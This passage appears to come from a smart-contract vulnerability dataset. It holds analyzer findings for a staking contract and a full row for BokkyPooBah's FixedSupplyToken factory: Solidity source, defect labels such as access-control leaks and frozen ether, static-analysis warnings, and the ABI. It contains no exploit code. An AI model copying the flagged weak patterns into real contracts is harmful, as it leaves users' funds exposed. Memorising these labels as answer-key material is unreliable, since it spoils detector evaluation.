{"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [304]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [280]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [212]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [245]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [265]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [340]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [212]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [245]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [311]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [340]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [274]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [192]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [456]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [321]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [290]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [527]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [145]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [143]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [142]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [139]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 98, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 137, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 139, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 140, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 141, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 142, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 143, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 144, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 145, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 78, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 7, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 90, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 21, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 22, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 120, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_tokenAddress","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"AddedToExistingFarm","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"staker","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"AddedToExistingStake","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":true,"internalType":"uint256","name":"newAPY","type":"uint256"}],"name":"FarmingRateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_tokenAddress","type":"address"},{"indexed":true,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"FarmingStarted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"claimer","type":"address"},{"indexed":true,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardClaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"staker","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newAPY","type":"uint256"}],"name":"StakingRateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":true,"internalType":"uint256","name":"APY","type":"uint256"}],"name":"TokenAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":true,"internalType":"uint256","name":"APY","type":"uint256"}],"name":"TokenRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"claimer","type":"address"},{"indexed":true,"internalType":"uint256","name":"stakedTokens","type":"uint256"}],"name":"TokensClaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_tokenAddress","type":"address"},{"indexed":true,"internalType":"uint256","name":"_yield","type":"uint256"}],"name":"YieldCollected","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"yieldCollectionFee","type":"uint256"}],"name":"YieldCollectionFeeChanged","type":"event"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_user","type":"address"}],"name":"ActiveFarmDeposit","outputs":[{"internalType":"uint256","name":"_activeDeposit","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"AddToFarm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"AddToStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"uint256","name":"_rate","type":"uint256"}],"name":"AddToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"uint256","name":"_newFarmingRate","type":"uint256"}],"name":"ChangeFarmingRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newStakingRate","type":"uint256"}],"name":"ChangeStakingRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"ClaimStakedTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClaimUnStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Farm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_user","type":"address"}],"name":"LastFarmedOn","outputs":[{"internalType":"uint256","name":"_unixLastFarmedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"LastStakedOn","outputs":[{"internalType":"uint256","name":"_unixLastStakedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"LatestStakingRate","outputs":[{"internalType":"uint256","name":"APY","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"}],"name":"PendingReward","outputs":[{"internalType":"uint256","name":"_pendingReward","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_caller","type":"address"}],"name":"PendingYield","outputs":[{"internalType":"uint256","name":"_pendingRewardWeis","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"}],"name":"RemoveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SYFP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"SetClaimFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"SetStakingPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"SetYieldCollectionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"StakingTimeLeft","outputs":[{"internalType":"uint256","name":"_secsLeft","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_user","type":"address"}],"name":"TotalFarmingRewards","outputs":[{"internalType":"uint256","name":"_totalEarned","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"TotalStakeRewardsClaimedTillToday","outputs":[{"internalType":"uint256","name":"_totalEarned","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"WithdrawFarmedTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"}],"name":"Yield","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"YourActiveStake","outputs":[{"internalType":"uint256","name":"_activeStake","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"YourStakingPeriod","outputs":[{"internalType":"uint256","name":"_stakingPeriod","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"YourStakingRate","outputs":[{"internalType":"uint256","name":"_stakingRate","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_user","type":"address"}],"name":"YourTotalFarmingTillToday","outputs":[{"internalType":"uint256","name":"_totalFarming","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"YourTotalStakesTillToday","outputs":[{"internalType":"uint256","name":"_totalStakes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakeClaimFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakingPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokens","outputs":[{"internalType":"bool","name":"exists","type":"bool"},{"internalType":"uint256","name":"rate","type":"uint256"},{"internalType":"uint256","name":"stakedTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yieldCollectionFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"}],"name":"yieldWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | Default | Unlicense | false | ipfs://4ad45095d35554327d2e694b519670ea6823b1494dc0bf77537498de943843d1 |
|||
FixedSupplyToken | 0x42ed666e27f844b96a38eaafaba34ec64968b220 | Solidity | pragma solidity ^0.5.4;
// ----------------------------------------------------------------------------
// BokkyPooBah's Fixed Supply Token 👊 + Factory v1.10
//
// A factory to conveniently deploy your own source code verified fixed supply
// token contracts
//
// Factory deployment address: 0xA550114ee3688601006b8b9f25e64732eF774934
//
// https://github.com/bokkypoobah/FixedSupplyTokenFactory
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2019. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
}
// ----------------------------------------------------------------------------
// Owned contract, with token recovery
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function init(address _owner) public {
require(owner == address(0));
owner = address(uint160(_owner));
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = address(uint160(newOwner));
newOwner = address(0);
}
function recoverTokens(address token, uint tokens) public onlyOwner {
if (token == address(0)) {
owner.transfer((tokens == 0 ? address(this).balance : tokens));
} else {
ERC20Interface(token).transfer(owner, tokens == 0 ? ERC20Interface(token).balanceOf(address(this)) : tokens);
}
}
}
// ----------------------------------------------------------------------------
// ApproveAndCall Fallback
// NOTE for contracts implementing this interface:
// 1. An error must be thrown if there are errors executing `transferFrom(...)`
// 2. The calling token contract must be checked to prevent malicious behaviour
// ----------------------------------------------------------------------------
contract ApproveAndCallFallback {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
// ----------------------------------------------------------------------------
// Token Interface = ERC20 + symbol + name + decimals + approveAndCall
// ----------------------------------------------------------------------------
contract TokenInterface is ERC20Interface {
function symbol() public view returns (string memory);
function name() public view returns (string memory);
function decimals() public view returns (uint8);
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success);
}
// ----------------------------------------------------------------------------
// FixedSupplyToken 👊 = ERC20 + symbol + name + decimals + approveAndCall
// ----------------------------------------------------------------------------
contract FixedSupplyToken is TokenInterface, Owned {
using SafeMath for uint;
string _symbol;
string _name;
uint8 _decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function init(address tokenOwner, string memory symbol, string memory name, uint8 decimals, uint fixedSupply) public {
super.init(tokenOwner);
_symbol = symbol;
_name = name;
_decimals = decimals;
_totalSupply = fixedSupply;
balances[tokenOwner] = _totalSupply;
emit Transfer(address(0), tokenOwner, _totalSupply);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// NOTE Only use this call with a trusted spender contract
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallback(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
// ----------------------------------------------------------------------------
// BokkyPooBah's Fixed Supply Token 👊 Factory
//
// Notes:
// * The `newContractAddress` deprecation is just advisory
// * A fee equal to or above `minimumFee` must be sent with the
// `deployTokenContract(...)` call
//
// Execute `deployTokenContract(...)` with the following parameters to deploy
// your very own FixedSupplyToken contract:
// symbol symbol
// name name
// decimals number of decimal places for the token contract
// totalSupply the fixed token total supply
//
// For example, deploying a FixedSupplyToken contract with a `totalSupply`
// of 1,000.000000000000000000 tokens:
// symbol "ME"
// name "My Token"
// decimals 18
// initialSupply 10000000000000000000000 = 1,000.000000000000000000 tokens
//
// The TokenDeployed() event is logged with the following parameters:
// owner the account that execute this transaction
// token the newly deployed FixedSupplyToken address
// symbol symbol
// name name
// decimals number of decimal places for the token contract
// totalSupply the fixed token total supply
// ----------------------------------------------------------------------------
contract BokkyPooBahsFixedSupplyTokenFactory is Owned {
using SafeMath for uint;
address public newAddress;
uint public minimumFee = 0.1 ether;
mapping(address => bool) public isChild;
address[] public children;
event FactoryDeprecated(address _newAddress);
event MinimumFeeUpdated(uint oldFee, uint newFee);
event TokenDeployed(address indexed owner, address indexed token, string symbol, string name, uint8 decimals, uint totalSupply);
constructor () public {
super.init(msg.sender);
}
function numberOfChildren() public view returns (uint) {
return children.length;
}
function deprecateFactory(address _newAddress) public onlyOwner {
require(newAddress == address(0));
emit FactoryDeprecated(_newAddress);
newAddress = _newAddress;
}
function setMinimumFee(uint _minimumFee) public onlyOwner {
emit MinimumFeeUpdated(minimumFee, _minimumFee);
minimumFee = _minimumFee;
}
function deployTokenContract(string memory symbol, string memory name, uint8 decimals, uint totalSupply) public payable returns (FixedSupplyToken token) {
require(msg.value >= minimumFee);
require(decimals <= 27);
require(totalSupply > 0);
token = new FixedSupplyToken();
token.init(msg.sender, symbol, name, decimals, totalSupply);
isChild[address(token)] = true;
children.push(address(token));
emit TokenDeployed(owner, address(token), symbol, name, decimals, totalSupply);
if (msg.value > 0) {
owner.transfer(msg.value);
}
}
function () external payable {
revert();
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["35", "111"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["111"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["111", "75"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["46", "122", "53", "50"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [225, 226, 227]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [104]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [152, 153, 154, 155, 156]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [53, 54, 55, 56, 57, 58]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [101]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [228, 229, 230, 231, 232]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [144, 145, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [164, 165, 166]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [76]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [146, 147, 148, 149, 150, 151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [102]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [50, 51, 52]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [64, 65, 59, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [233, 234, 235, 236]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [160, 161, 162, 163, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [140, 141, 142]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FixedSupplyToken.sol": [128, 129, 130, 122, 123, 124, 125, 126, 127]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FixedSupplyToken.sol": [103]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FixedSupplyToken.sol": [102]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FixedSupplyToken.sol": [101]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [51]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [48]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [231]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [116]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [117]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [115]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [233]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [228]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FixedSupplyToken.sol": [46]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [243]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [245]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [63]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"FixedSupplyToken.sol": [63]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 57, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 141, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 152, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 111, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 233, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 174, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 250, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 112, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 114, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 115, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 116, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 120, "severity": 1}] | [{"constant":false,"inputs":[{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"recoverTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_owner","type":"address"}],"name":"init","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"symbol","type":"string"},{"name":"name","type":"string"},{"name":"decimals","type":"uint8"},{"name":"fixedSupply","type":"uint256"}],"name":"init","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.4+commit.9549d8ff | true | 200 | Default | false | bzzr://8c6682163638ccebe5b8f65e3ef42ac60d2746eaea8efb87ffc3143497f01df4 |
||||
